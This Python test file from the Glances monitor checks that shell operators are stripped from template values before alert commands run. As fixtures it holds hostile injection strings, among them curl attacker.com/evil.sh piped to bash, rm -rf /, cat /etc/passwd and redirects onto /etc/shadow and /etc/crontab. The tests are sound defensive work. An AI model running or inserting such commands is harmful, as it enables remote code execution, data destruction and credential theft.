Files
glances/tests/test_actions_sanitize.py

347 lines
12 KiB
Python
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env python
#
# Glances - An eye on your system
#
# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>
#
# SPDX-License-Identifier: LGPL-3.0-only
#
"""Glances unit tests for action command sanitization.
Tests cover:
- _sanitize_mustache_dict strips shell operators from string values
- Pipe (|), chain (&&), redirect (>, >>) injection via Mustache values
- Non-string values are preserved unchanged
- The sanitization integrates correctly with GlancesActions.run()
- secure_popen basic functionality
"""
import os
import tempfile
from unittest.mock import patch
import pytest
from glances.actions import GlancesActions, _sanitize_mustache_dict
from glances.secure import secure_popen
# Skip the whole module on Windows where echo -n behaves differently
pytestmark = pytest.mark.skipif(
os.name == 'nt',
reason='Shell command tests are POSIX-only',
)
# ---------------------------------------------------------------------------
# Tests _sanitize_mustache_dict
# ---------------------------------------------------------------------------
class TestSanitizeMustacheDict:
"""Unit tests for _sanitize_mustache_dict."""
def test_none_returns_none(self):
assert _sanitize_mustache_dict(None) is None
def test_empty_dict_returns_empty(self):
assert _sanitize_mustache_dict({}) == {}
def test_strips_pipe(self):
d = {'name': 'innocent|curl evil.com'}
safe = _sanitize_mustache_dict(d)
assert '|' not in safe['name']
assert safe['name'] == 'innocent curl evil.com'
def test_strips_double_ampersand(self):
d = {'name': 'web && curl evil.com'}
safe = _sanitize_mustache_dict(d)
assert '&&' not in safe['name']
assert safe['name'] == 'web curl evil.com'
def test_strips_redirect(self):
d = {'name': 'data > /etc/passwd'}
safe = _sanitize_mustache_dict(d)
assert '>' not in safe['name']
assert safe['name'] == 'data /etc/passwd'
def test_strips_append_redirect(self):
d = {'name': 'data >> /etc/shadow'}
safe = _sanitize_mustache_dict(d)
assert '>>' not in safe['name']
assert safe['name'] == 'data /etc/shadow'
def test_strips_multiple_operators(self):
d = {'name': 'foo|bar && baz > qux >> end'}
safe = _sanitize_mustache_dict(d)
assert '|' not in safe['name']
assert '&&' not in safe['name']
# >> is replaced first (before >), then remaining > is replaced
for op in ('|', '&&', '>>', '>'):
assert op not in safe['name']
def test_preserves_int_values(self):
d = {'cpu_percent': 95, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['cpu_percent'] == 95
def test_preserves_float_values(self):
d = {'load': 3.14, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['load'] == 3.14
def test_preserves_none_values(self):
d = {'key': None, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['key'] is None
def test_preserves_bool_values(self):
d = {'is_up': True, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['is_up'] is True
def test_preserves_list_values(self):
d = {'ports': [80, 443], 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['ports'] == [80, 443]
def test_clean_string_unchanged(self):
d = {'name': 'my-web-server', 'mnt_point': '/data/disk1'}
safe = _sanitize_mustache_dict(d)
assert safe['name'] == 'my-web-server'
assert safe['mnt_point'] == '/data/disk1'
def test_does_not_mutate_original(self):
d = {'name': 'foo|bar'}
_sanitize_mustache_dict(d)
assert d['name'] == 'foo|bar'
def test_returns_new_dict(self):
d = {'name': 'foo'}
safe = _sanitize_mustache_dict(d)
assert safe is not d
# ---------------------------------------------------------------------------
# Tests Command injection scenarios
# ---------------------------------------------------------------------------
class TestCommandInjectionPrevention:
"""Verify that crafted Mustache values cannot inject commands."""
def test_pipe_injection_in_process_name(self):
"""Simulate: process name contains pipe to inject curl command."""
mustache_dict = {
'name': 'innocent|curl attacker.com/evil.sh|bash',
'cpu_percent': 99.0,
}
safe = _sanitize_mustache_dict(mustache_dict)
# The pipe characters must be gone
assert '|' not in safe['name']
assert 'curl' in safe['name'] # text is preserved, just operator removed
def test_chain_injection_in_container_name(self):
"""Simulate: container name contains && to chain commands."""
mustache_dict = {
'name': 'web && curl attacker.com/rev.sh | bash && echo ',
'Image': 'nginx:latest',
'Id': 'abc123',
'cpu': 95.0,
}
safe = _sanitize_mustache_dict(mustache_dict)
assert '&&' not in safe['name']
assert '|' not in safe['name']
# Non-string fields untouched
assert safe['cpu'] == 95.0
def test_redirect_injection_in_mount_point(self):
"""Simulate: mount point contains redirect to overwrite files."""
mustache_dict = {
'mnt_point': '/data > /etc/crontab',
'used': 900000,
'size': 1000000,
}
safe = _sanitize_mustache_dict(mustache_dict)
assert '>' not in safe['mnt_point']
def test_append_redirect_injection(self):
"""Simulate: value contains >> to append to sensitive files."""
mustache_dict = {
'name': 'logger >> /etc/shadow',
}
safe = _sanitize_mustache_dict(mustache_dict)
assert '>>' not in safe['name']
# ---------------------------------------------------------------------------
# Tests secure_popen basic functionality
# ---------------------------------------------------------------------------
class TestSecurePopen:
"""Basic tests for secure_popen."""
def test_simple_echo(self):
assert secure_popen('echo -n TEST') == 'TEST'
def test_chained_commands(self):
assert secure_popen('echo -n A && echo -n B') == 'AB'
def test_pipe(self):
result = secure_popen('echo FOO | grep FOO')
assert 'FOO' in result
def test_redirect_to_file(self):
with tempfile.NamedTemporaryFile(mode='r', suffix='.txt', delete=False) as f:
tmpfile = f.name
try:
secure_popen(f'echo -n HELLO > {tmpfile}')
with open(tmpfile) as f:
assert f.read() == 'HELLO'
finally:
os.unlink(tmpfile)
# ---------------------------------------------------------------------------
# Tests GlancesActions.run() integration
# ---------------------------------------------------------------------------
class TestActionsRunIntegration:
"""Verify that GlancesActions.run() uses sanitized mustache values."""
@pytest.fixture
def actions(self):
"""Create a GlancesActions instance with an expired start timer."""
a = GlancesActions()
# Force the start timer to be finished so actions can run immediately
a.start_timer = type('FakeTimer', (), {'finished': lambda self: True})()
return a
def test_run_with_safe_values(self, actions):
"""Normal run with safe values should succeed."""
result = actions.run(
'cpu',
'CRITICAL',
['echo -n {{name}}'],
repeat=False,
mustache_dict={'name': 'myprocess'},
)
assert result is True
def test_run_sanitizes_pipe_in_mustache(self, actions):
"""Pipe in mustache value must not create a real pipe."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'cpu',
'CRITICAL',
['echo {{name}}'],
repeat=False,
mustache_dict={'name': 'evil|rm -rf /'},
)
# The command passed to secure_popen should have | replaced
called_cmd = mock_popen.call_args[0][0]
assert '|' not in called_cmd
assert 'evil' in called_cmd
assert 'rm -rf /' in called_cmd # text preserved, pipe removed
def test_run_sanitizes_chain_in_mustache(self, actions):
"""&& in mustache value must not chain commands."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'containers',
'WARNING',
['echo {{name}}'],
repeat=False,
mustache_dict={'name': 'web && cat /etc/passwd'},
)
called_cmd = mock_popen.call_args[0][0]
assert '&&' not in called_cmd
def test_run_sanitizes_redirect_in_mustache(self, actions):
"""> in mustache value must not redirect output."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'fs',
'CRITICAL',
['echo {{mnt_point}}'],
repeat=False,
mustache_dict={'mnt_point': '/data > /etc/crontab'},
)
called_cmd = mock_popen.call_args[0][0]
assert '>' not in called_cmd
def test_run_preserves_template_operators(self, actions):
"""Operators in the template itself (not in values) must be preserved."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
# The template has a pipe, but the mustache value is clean
actions.run(
'cpu',
'CRITICAL',
['echo {{name}} | grep something'],
repeat=False,
mustache_dict={'name': 'safe-process'},
)
called_cmd = mock_popen.call_args[0][0]
# Template pipe is preserved
assert '|' in called_cmd
assert 'grep something' in called_cmd
def test_run_preserves_template_redirect(self, actions):
"""Redirect in the template itself must be preserved."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'fs',
'WARNING',
['echo {{mnt_point}} > /tmp/alert.log'],
repeat=False,
mustache_dict={'mnt_point': '/data/disk1'},
)
called_cmd = mock_popen.call_args[0][0]
assert '>' in called_cmd
assert '/tmp/alert.log' in called_cmd
def test_run_preserves_template_chain(self, actions):
"""&& in the template itself must be preserved."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'cpu',
'CRITICAL',
['echo {{name}} && echo done'],
repeat=False,
mustache_dict={'name': 'safe-process'},
)
called_cmd = mock_popen.call_args[0][0]
assert '&&' in called_cmd
def test_run_does_not_execute_when_already_triggered(self, actions):
"""Same criticality should not re-trigger if repeat=False."""
actions.set('cpu', 'CRITICAL')
result = actions.run(
'cpu',
'CRITICAL',
['echo test'],
repeat=False,
mustache_dict={},
)
assert result is False
def test_run_repeats_when_repeat_true(self, actions):
"""Same criticality should re-trigger when repeat=True."""
actions.set('cpu', 'CRITICAL')
result = actions.run(
'cpu',
'CRITICAL',
['echo test'],
repeat=True,
mustache_dict={},
)
assert result is True